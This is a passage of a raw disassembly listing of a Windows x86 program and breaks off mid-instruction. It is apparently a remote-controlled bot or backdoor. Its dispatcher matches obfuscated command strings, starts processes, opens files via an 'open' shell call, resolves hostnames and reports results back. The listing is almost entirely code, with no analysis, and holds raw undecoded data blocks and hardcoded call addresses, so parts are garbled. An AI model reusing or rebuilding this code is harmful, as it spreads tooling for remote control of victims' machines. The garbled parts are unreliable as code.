[esp+14h+var_4], 2 call sub_402207 lea ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_402207 lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_402207 lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_402207 lea ecx, [esi+1FFh] mov byte ptr [esp+14h+var_4], 6 call sub_402207 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403E00 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403EE0 proc near ; CODE XREF: sub_40206Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403EE0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+1FFh] mov [esp+14h+var_4], 6 call sub_401AD2 lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_401AD2 lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401AD2 lea ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_401AD2 lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_401AD2 lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_401AD2 lea ecx, [esi+49h] mov byte ptr [esp+14h+var_4], 0 call sub_401AD2 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AD2 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403EE0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_403FC0 proc near ; CODE XREF: sub_401D34j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403FC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebp push esi push edi push 0 push 4 push 9 push 4Fh lea eax, [esp+70h+var_3C] push 2 mov esi, ecx push eax call sub_4019B5 add esp, 18h push esi mov ecx, eax mov [esp+64h+var_4], 0 call sub_4017E4 lea ecx, [esi+0C29h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_403FC0 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4 push 0Eh push 12h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 1 call sub_4017E4 push eax lea eax, [esi+0BCDh] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 15h push 0Fh push 2 push 1 push 4Fh lea ecx, [esp+40h] push 2 push ecx call sub_4019B5 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+60h], 2 call sub_4017E4 lea edx, [esi+0C57h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 12h push 15h push 3 push 5 push 13h push 4Fh lea eax, [esp+44h] push 2 push eax call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+60h], 3 call sub_4017E4 lea ecx, [esi+0DF5h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Fh push 6 push 0Eh push 9 push 13h push 19h push 13h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 4 call sub_4017E4 push eax lea eax, [esi+0C85h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 10h push 13h push 0Ch push 4Fh lea ecx, [esp+38h] push 2 push ecx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 5 call sub_4017E4 lea edx, [esi+0B71h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 push 4Fh lea eax, [esp+4Ch] push 2 push eax call sub_4019B5 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+60h], 6 call sub_4017E4 lea ecx, [esi+0DC7h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Eh push 5 push 10h push 0Fh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 7 call sub_4017E4 push eax lea eax, [esi+0D0Fh] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 9 push 15h push 11h push 4Fh lea ecx, [esp+3Ch] push 2 push ecx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 8 call sub_4017E4 lea edx, [esi+0D99h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 4 push 0Dh push 3 push 4Fh lea eax, [esp+38h] push 2 push eax call sub_4019B5 add esp, 1Ch mov dword ptr [esp+5Ch], 9 push esi mov ecx, eax call sub_4017E4 lea ecx, [esi+0E23h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh lea edx, [esp+38h] push 2 push edx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ah call sub_4017E4 push eax lea eax, [esi+0D6Bh] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 4Fh lea ecx, [esp+38h] push 2 push ecx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Bh call sub_4017E4 lea edx, [esi+0D3Dh] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 0Dh push 9 push 14h push 10h push 15h push 0Ch push 4Fh lea eax, [esp+48h] push 2 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ch call sub_4017E4 lea ecx, [esi+0CB3h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 0Dh call sub_4017E4 push eax lea eax, [esi+0CE1h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- db 8Dh dd 8924244Ch, 0E85C247Ch, 0FFFFCE26h, 0E8094E8Dh, 0FFFFD3DCh dd 0C244C8Dh, 0FE85150h, 83FFFFDCh, 6A08C4h, 1D6A256Ah dd 548D236Ah, 286A3424h, 2444C752h, 0E74h, 0D583E800h dd 0C483FFFFh, 8DE88B18h, 0C60C244Ch, 0F5C2444h, 0FFD39FE8h dd 0CD8B50FFh, 0FFD397E8h, 0F46850FFh, 68004435h, 4D60A5h dd 0FFD9AEE8h, 10C483FFh, 24244C8Dh, 5C2444C6h, 0CDB8E80Eh dd 206AFFFFh, 4024448Dh, 8D50006Ah, 0E818244Ch, 0FFFFCE32h dd 44C6C88Bh, 0E8105C24h, 0FFFFD358h, 35F06850h, 75680044h dd 0E8004E6Eh, 0FFFFCB91h, 8D0CC483h, 0C63C244Ch, 0E5C2444h dd 0FFCD79E8h, 4FE890FFh, 8B023CC3h, 4DD3B8C8h, 7C891062h dd 0E1F75C24h, 8D06EAC1h, 890C244Ch, 57E80556h, 8BFFFFCDh dd 5F54244Ch, 89645D5Eh, 0Dh, 54C48300h, 909090C3h, 3 dup(90909090h) dd 54h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_404640 proc near ; CODE XREF: sub_401A32j var_88 = dword ptr -88h var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 push 0FFFFFFFFh push offset SEH_404640 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 7Ch push ebx push ebp push esi mov esi, [esp+94h+arg_0] mov ebp, ecx push edi lea ebx, [esi+2Ah] push 0 mov ecx, ebx mov [esp+9Ch+var_88], ebp call sub_40146F mov cl, [eax] lea edi, [esi+69h] cmp cl, 23h jnz short loc_404682 push ebx jmp short loc_404686 ; --------------------------------------------------------------------------- loc_404682: ; CODE XREF: sub_404640+3Dj lea eax, [esi+15h] push eax loc_404686: ; CODE XREF: sub_404640+40j mov ecx, edi call sub_401FBE mov al, [esi+94h] test al, al jz short loc_4046A2 lea ecx, [esi+15h] push ecx mov ecx, edi call sub_401FBE loc_4046A2: ; CODE XREF: sub_404640+55j mov al, [esi+95h] test al, al jz short loc_40471F lea ecx, [esp+98h+var_6C] call sub_401424 push offset aO ; " -o" mov ecx, esi mov [esp+9Ch+var_4], 0 call sub_4013E3 add eax, 3 lea edx, [esp+98h+var_54] push eax push edx mov ecx, esi call sub_401E2E push eax lea ecx, [esp+9Ch+var_6C] mov byte ptr [esp+9Ch+var_4], 1 call sub_401FBE lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], 0 call sub_401226 lea eax, [esp+98h+var_6C] mov ecx, edi push eax call sub_401FBE lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 loc_40471F: ; CODE XREF: sub_404640+6Aj push offset asc_443600 ; " " lea ecx, [esp+9Ch+var_6C] push 0 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+98h+var_54] mov ebx, 2 push 1 push edx mov ecx, eax mov [esp+0A0h+var_4], ebx call sub_401E2E lea edi, [esi+7Eh] push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 3 call sub_401FBE lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 push 0 lea ecx, [ebp+32Ch] call sub_40146F push 0 mov ecx, esi mov ebp, eax call sub_40146F mov al, [eax] mov cl, [ebp+0] cmp al, cl jnz loc_4049EA push 0 push 14h push 1 push 5 push 10h push 5 push 12h push 4Eh push 14h push 0Fh lea ecx, [esp+0C0h+var_54] push ebx push ecx call sub_4019B5 add esp, 30h mov ecx, eax mov [esp+98h+var_4], 4 call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_40480F sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0B0h+arg_0], esp push edx call sub_4014C9 mov ecx, offset word_448C8E call sub_401CD0 test eax, eax jz short loc_40480F mov bl, 1 jmp short loc_404811 ; --------------------------------------------------------------------------- loc_40480F: ; CODE XREF: sub_404640+1A6j ; sub_404640+1C9j xor bl, bl loc_404811: ; CODE XREF: sub_404640+1CDj lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_4049CE push offset asc_443600 ; " " lea eax, [esp+9Ch+var_54] push 1 push eax mov ecx, esi call sub_4016AE push offset byte_446F60 mov ecx, eax mov [esp+9Ch+var_4], 5 call sub_4012EE test eax, eax lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz loc_4049EA push offset asc_443600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+98h+var_4], 6 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+98h+var_54] mov ebp, eax mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test ebp, ebp jz loc_4049EA push 20h mov ecx, esi call sub_401D20 lea edx, [esp+98h+var_84] push eax push edx mov ecx, esi call sub_401E2E mov ebx, 7 push 20h lea ecx, [esp+9Ch+var_84] mov [esp+9Ch+var_4], ebx call sub_401D20 push eax lea eax, [esp+9Ch+var_54] push eax lea ecx, [esp+0A0h+var_84] call sub_401E2E push eax lea ecx, [esp+9Ch+var_84] mov byte ptr [esp+9Ch+var_4], 8 call sub_40200E lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_84] push ecx mov ecx, esi call sub_401FBE push offset asc_443600 ; " " lea edx, [esp+9Ch+var_24] push 0 push edx mov ecx, esi call sub_4016AE lea ecx, [esp+98h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+0A0h+var_4], 9 call sub_401E2E push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 0Ah call sub_401FBE lea ecx, [esp+98h+var_3C] mov byte ptr [esp+98h+var_4], 9 call sub_401226 lea ecx, [esp+98h+var_24] mov byte ptr [esp+98h+var_4], bl call sub_401226 mov al, [esp+98h+arg_4] test al, al jnz short loc_4049A7 test ebp, ebp jle short loc_4049B8 loc_404998: ; CODE XREF: sub_404640+363j mov ecx, [esp+98h+var_88] push esi call sub_401F69 dec ebp jnz short loc_404998 jmp short loc_4049B8 ; --------------------------------------------------------------------------- loc_4049A7: ; CODE XREF: sub_404640+352j test ebp, ebp jle short loc_4049B8 loc_4049AB: ; CODE XREF: sub_404640+376j mov ecx, [esp+98h+var_88] push esi call sub_401442 dec ebp jnz short loc_4049AB loc_4049B8: ; CODE XREF: sub_404640+356j ; sub_404640+365j ... lea ecx, [esp+98h+var_84] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_4049EA ; --------------------------------------------------------------------------- loc_4049CE: ; CODE XREF: sub_404640+1E7j mov al, [esp+98h+arg_4] mov ecx, [esp+98h+var_88] test al, al push esi jnz short loc_4049E5 call sub_401F69 jmp short loc_4049EA ; --------------------------------------------------------------------------- loc_4049E5: ; CODE XREF: sub_404640+39Cj call sub_401442 loc_4049EA: ; CODE XREF: sub_404640+162j ; sub_404640+232j ... mov ecx, [esp+98h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 88h retn 8 sub_404640 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404B10 proc near ; CODE XREF: sub_401F69j arg_0 = dword ptr 4 push esi push edi mov edi, ecx mov ecx, offset word_448C92 call sub_4014D3 mov esi, [esp+8+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jz short loc_404B56 sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push eax call sub_4014C9 mov ecx, offset word_448C8E call sub_401CD0 test eax, eax jnz short loc_404B56 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404B56: ; CODE XREF: sub_404B10+1Dj ; sub_404B10+3Dj sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push edx call sub_4014C9 mov ecx, offset word_448C8E call sub_401CD0 test eax, eax jnz short loc_404B96 mov al, [edi+469h] test al, al jz short loc_404B96 push 0 lea ecx, [esi+2Ah] call sub_40146F cmp byte ptr [eax], 23h jz short loc_404B96 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404B96: ; CODE XREF: sub_404B10+64j ; sub_404B10+6Ej ... push esi mov ecx, edi call sub_401442 pop edi pop esi retn 4 sub_404B10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404BE0 proc near ; CODE XREF: sub_401442j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 1 lea ecx, [esi+7Eh] call sub_4017E4 push eax mov ecx, offset dword_447148 call sub_401AF0 test eax, eax jz short loc_404C0A mov ecx, [eax+2Ah] push esi mov eax, [ecx] call dword ptr [eax] pop esi retn 4 ; --------------------------------------------------------------------------- loc_404C0A: ; CODE XREF: sub_404BE0+1Cj xor al, al pop esi retn 4 sub_404BE0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404C20 proc near ; CODE XREF: sub_40185Cj push esi push edi mov edi, dword_50F8A4 mov esi, ecx call edi mov edx, dword_4D60C9 mov ecx, [esi+421h] sub eax, edx cmp eax, ecx jbe short loc_404C4F mov ecx, offset byte_4D60A5 call sub_401D0C call edi mov dword_4D60C9, eax loc_404C4F: ; CODE XREF: sub_404C20+1Cj pop edi mov al, 1 pop esi retn sub_404C20 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404C70 proc near ; CODE XREF: sub_4017C6j var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = byte ptr -1A8h var_198 = byte ptr -198h var_194 = dword ptr -194h var_190 = byte ptr -190h var_17C = dword ptr -17Ch var_178 = byte ptr -178h var_168 = dword ptr -168h var_164 = byte ptr -164h var_14D = byte ptr -14Dh var_14C = byte ptr -14Ch var_130 = byte ptr -130h var_11C = byte ptr -11Ch var_104 = dword ptr -104h var_100 = byte ptr -100h var_D0 = dword ptr -0D0h var_A0 = byte ptr -0A0h var_8C = byte ptr -8Ch var_54 = byte ptr -54h var_50 = byte ptr -50h var_48 = byte ptr -48h var_30 = byte ptr -30h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_404C70 push eax mov large fs:0, esp sub esp, 15Ch push ebx push ebp push esi mov esi, [esp+174h+arg_0] push edi mov edi, ecx lea ebp, [esi+7Eh] lea ecx, [edi+0C29h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404CE4 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [edi+2E3h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 jmp loc_405675 ; --------------------------------------------------------------------------- loc_404CE4: ; CODE XREF: sub_404C70+40j lea ecx, [edi+0D6Bh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404E75 push 1 push offset asc_443600 ; " " lea edx, [esp+180h+var_14C] push 2 push edx mov ecx, esi call sub_4011EA push offset asc_443600 ; " " lea eax, [esp+17Ch+var_100] push 1 push eax mov ecx, esi mov [esp+184h+var_4], 0 call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 1 call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 cmp eax, 1 lea ecx, [esp+178h+var_100] mov byte ptr [esp+178h+var_4], 0 setz bl call sub_401226 lea ecx, [esp+178h+var_164] call sub_401424 push 2000h push 2000h lea ecx, [esp+180h+var_164] mov byte ptr [esp+180h+var_4], 2 call sub_401C5D push eax lea ecx, [esp+180h+var_14C] call sub_4017E4 push eax call near ptr 27F0000h nop lea ecx, [esp+178h+var_164] push ecx lea ecx, [esp+17Ch+var_14C] call sub_401FBE mov ecx, 11h xor eax, eax lea edi, [esp+178h+var_D0] lea edx, [esp+178h+var_11C] rep stosd lea eax, [esp+178h+var_D0] push edx push eax push 0 neg bl push 0 push 28h sbb ebx, ebx push 1 and ebx, 5 push 0 push 0 lea ecx, [esp+198h+var_14C] mov [esp+198h+var_D0], 44h mov word ptr [esp+198h+var_A0], bx call sub_4014D3 push eax push 0 call near ptr 27E0517h nop test eax, eax jnz short loc_404E49 lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_40566E ; --------------------------------------------------------------------------- loc_404E49: ; CODE XREF: sub_404C70+18Cj lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_404E75: ; CODE XREF: sub_404C70+89j lea ecx, [edi+0B71h] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404F24 push 1 push offset asc_443600 ; " " lea eax, [esp+180h+var_164] push 1 push eax mov ecx, esi call sub_4011EA mov ecx, offset byte_4E6E75 mov [esp+178h+var_4], 3 call sub_4017E4 push eax lea ecx, [esp+17Ch+var_164] call sub_4012EE test eax, eax jnz short loc_404F10 mov al, byte_4478C6 test al, al jz short loc_404EE0 push offset dword_447864 mov ecx, offset dword_448DA0 call sub_401447 loc_404EE0: ; CODE XREF: sub_404C70+25Fj mov al, byte_44790F test al, al jz short loc_404EF8 push offset byte_44793F mov ecx, offset dword_448DA0 call sub_401942 loc_404EF8: ; CODE XREF: sub_404C70+277j mov ecx, offset dword_448DA0 call sub_401E5B mov byte_4D60BC, 0 mov byte_4E6E74, 0 loc_404F10: ; CODE XREF: sub_404C70+256j mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_164] jmp loc_40566E ; --------------------------------------------------------------------------- loc_404F24: ; CODE XREF: sub_404C70+21Aj lea ecx, [edi+0C57h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404F6C lea ecx, [esi+69h] call sub_4014D3 push eax mov ecx, offset word_4E6E8A call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx mov ecx, offset byte_4D60A5 call sub_401118 jmp loc_405675 ; --------------------------------------------------------------------------- loc_404F6C: ; CODE XREF: sub_404C70+2C9j lea ecx, [edi+0DC7h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405029 push eax push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 lea eax, [esp+19Ch+var_14C] push 50h push eax call sub_4019B5 add esp, 2Ch mov esi, eax push 0 push 5 push 18h push 5 push 4Eh push 7 push 9 push 6 push 0Eh push 0Fh push 3 push 10h lea ecx, [esp+1A8h+var_164] push 9 push ecx mov [esp+1B0h+var_4], 4 call sub_4019B5 add esp, 38h mov edi, eax mov ecx, esi mov byte ptr [esp+178h+var_4], 5 call sub_4017E4 push eax mov ecx, edi call sub_4017E4 push eax call sub_401299 add esp, 8 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 4 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_405029: ; CODE XREF: sub_404C70+311j lea ecx, [edi+0D0Fh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405147 lea ecx, [esp+178h+var_14C] call sub_401424 push offset asc_443600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi mov [esp+184h+var_4], 6 call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 7 call sub_4017E4 push eax lea ecx, [esp+17Ch+var_14C] call sub_401A87 lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 6 call sub_401226 lea ecx, [esp+178h+var_164] call sub_401424 push 1 mov bl, 8 push 0 push 0 lea ecx, [esp+184h+var_14C] mov byte ptr [esp+184h+var_4], bl call sub_4017E4 push eax push offset aOpen ; "open" push 0 nop call near ptr 7CA41110h movsx eax, al push eax lea ecx, [esp+17Ch+var_11C] call sub_4020F4 lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 9 push ecx lea ecx, [esp+17Ch+var_164] call sub_40200E lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_164] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 6 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_40566E ; --------------------------------------------------------------------------- loc_405147: ; CODE XREF: sub_404C70+3CEj lea ecx, [edi+0D99h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_40516A mov byte_4D60BC, al mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_40516A: ; CODE XREF: sub_404C70+4ECj lea ecx, [edi+0D3Dh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405431 lea ecx, [esp+178h+var_11C] call sub_401424 push offset asc_443600 ; " " lea ecx, [esp+17Ch+var_164] push 1 mov ebx, 0Ah push ecx mov ecx, esi mov [esp+184h+var_4], ebx call sub_4016AE push offset byte_446F60 mov ecx, eax mov byte ptr [esp+17Ch+var_4], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl setz [esp+178h+var_14D] call sub_401226 mov al, [esp+178h+var_14D] test al, al jz short loc_4051F4 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_11C] jmp loc_40566E ; --------------------------------------------------------------------------- loc_4051F4: ; CODE XREF: sub_404C70+56Ej push offset asc_443600 ; " " lea edx, [esp+17Ch+var_164] push 1 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 0Ch call sub_4017E4 push eax call near ptr 71AB2BF4h nop lea ecx, [esp+178h+var_164] mov [esp+178h+var_104], eax mov byte ptr [esp+178h+var_4], bl call sub_401226 mov eax, [esp+178h+var_104] or ebp, 0FFFFFFFFh cmp eax, ebp jz loc_4052C7 push 2 lea eax, [esp+17Ch+var_104] push 4 push eax nop call near ptr 71ABE479h mov edi, eax test edi, edi jz loc_4053A8 push offset asc_443600 ; " " lea ecx, [esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016AE mov edx, [edi] mov ecx, eax push edx mov byte ptr [esp+17Ch+var_4], 0Dh call sub_4017E4 push eax lea eax, [esp+180h+var_11C] push offset aSResolvedS ; "%s resolved %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_11C] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx jmp loc_40540E ; --------------------------------------------------------------------------- loc_4052C7: ; CODE XREF: sub_404C70+5CAj push offset asc_443600 ; " " lea eax, [esp+17Ch+var_164] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 0Eh call sub_4017E4 push eax call near ptr 71AB4FD4h nop lea ecx, [esp+178h+var_164] mov edi, eax mov byte ptr [esp+178h+var_4], bl call sub_401226 test edi, edi jz loc_4053A8 mov ecx, [edi+0Ch] push offset asc_443600 ; " " lea eax, [esp+17Ch+var_164] push 1 mov edx, [ecx] push eax mov ecx, esi mov edi, [edx] call sub_4016AE mov ebp, eax push edi mov byte ptr [esp+17Ch+var_4], 0Fh nop call near ptr 71AB3F41h push eax mov ecx, ebp call sub_4017E4 push eax lea ecx, [esp+180h+var_11C] push offset aSS_1 ; "%s -> %s" push ecx call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_11C] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_405675 ; --------------------------------------------------------------------------- loc_4053A8: ; CODE XREF: sub_404C70+5E3j ; sub_404C70+694j push offset asc_443600 ; " " lea ecx, [esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 10h call sub_4017E4 push eax lea edx, [esp+17Ch+var_11C] push offset aResolve_errorS ; "resolve.error %s." push edx call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_11C] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_40540E: ; CODE XREF: sub_404C70+652j mov ecx, offset 